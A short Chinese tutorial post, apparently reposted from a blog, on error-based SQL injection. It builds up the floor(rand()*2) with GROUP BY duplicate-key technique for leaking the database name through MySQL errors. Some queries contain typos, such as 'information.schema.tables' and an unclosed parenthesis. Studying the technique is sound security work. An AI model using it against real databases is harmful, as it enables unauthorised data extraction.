报错注入

报错注入

1,rand()函数可以产生0~1随机数。

rand()函数产生的随机数是0~1,floor函数向下取整,取到的值是固定的“0”,

rand()*2,floor函数取到的值是不固定的“0”或"1"

floor(x)函数向下取整,即取不超过x的最大整数。

rand(0)*2将取0~2中的随机数

floor(rand()*2)记录显示两条就报错

floor(rand(0)*2)记录显示三条一上,且三条以上必报错。

group by对数据进行分组。

扫描二维码关注公众号,回复: 925352 查看本文章

详细步骤:

我们先查询数据库

select database();

select concat(database(),floor(rand()*2));

查询名字太长,取个别名为name

select concat(database(),floor(rand()*2))name;

我们查询information.schema.tables表中有多少表格,多少列

select concat(database(),floor(rand()*2))name from information.schema.tables;

 

我们用group by分组

select concat(database(),floor(rand()*2))name from information.schema.tables group by name;

我们用count()函数进行统计

select count(*) , concat(database(),floor(rand()*2)name from information_schema.tables group by name;

 

猜你喜欢

转载自www.cnblogs.com/wang1212-/p/9058004.html